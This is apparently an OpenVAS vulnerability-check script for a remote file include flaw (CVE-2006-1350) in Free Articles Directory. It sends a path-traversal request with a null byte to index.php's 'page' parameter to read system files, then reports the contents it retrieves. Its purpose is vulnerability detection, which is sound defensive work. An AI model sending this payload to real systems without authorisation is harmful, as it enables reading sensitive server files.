Free Articles Directory RFI Vulnerability

# SPDX-FileCopyrightText: 2008 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80060");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-1350");
  script_xref(name:"OSVDB", value:"24024");
  script_name("Free Articles Directory RFI Vulnerability");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"summary", value:"Free Articles Directory is prone to a remote file include (RFI)
  vulnerability.");

  script_tag(name:"insight", value:"Free Articles Directory fails to sanitize user input to the
  'page' parameter in index.php. An unauthenticated attacker may be able to read arbitrary local
  files or include a file from a remote host that contains commands which will be executed by the
  vulnerable script, subject to the privileges of the web server process.");

  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2006-03/0396.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/17183");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

port = http_get_port(default:80);
if (!http_can_host_php(port:port)) exit(0);

files = traversal_files();

# The '/99articles' directory does not seem too popular, but it is the default installation directory
foreach dir( make_list_unique( "/99articles", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  foreach pattern(keys(files)) {

    file = files[pattern];

    foreach pattern(keys(files)) {

      file = files[pattern];

      url = string(dir, "/index.php?page=/" + file + "%00");
      req = http_get( item:url, port:port );
      res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
      if (res == NULL) continue;

      # There's a problem if...
      if (
        # there's an entry for root or...
        (
          'Website Powered by <strong><a href="http://www.ArticlesOne.com">ArticlesOne.com' >< res &&
          egrep(pattern:pattern, string:res)
        ) ||
        # we get an error saying "failed to open stream" or "Failed opening".
        #
        # nb: this suggests magic_quotes_gpc was enabled but passing
        #     remote URLs might still work.
        egrep(string:res, pattern:"Warning.+/" + file + ".+failed to open stream") ||
        egrep(string:res, pattern:"Warning.+ Failed opening '/" + file + ".+for inclusion")
      ) {
        if (egrep(pattern:pattern, string:res)) {
         content = strstr(res, "<input type=image name=subscribe");
          if (content) content = strstr(content, 'style="padding-left:10">');
          if (content) content = content - 'style="padding-left:10">';
          if (content) content = content - strstr(content, "</td>");
        }

        if (content)
          report = string(
            "Here are the contents of the file '/" + file + "' that\n",
            "It was possible to read from the remote host :\n",
            "\n",
            content
          );
        else report = "";

        security_message(port:port, data:report);
        exit(0);
      }
    }
  }
}

exit( 99 );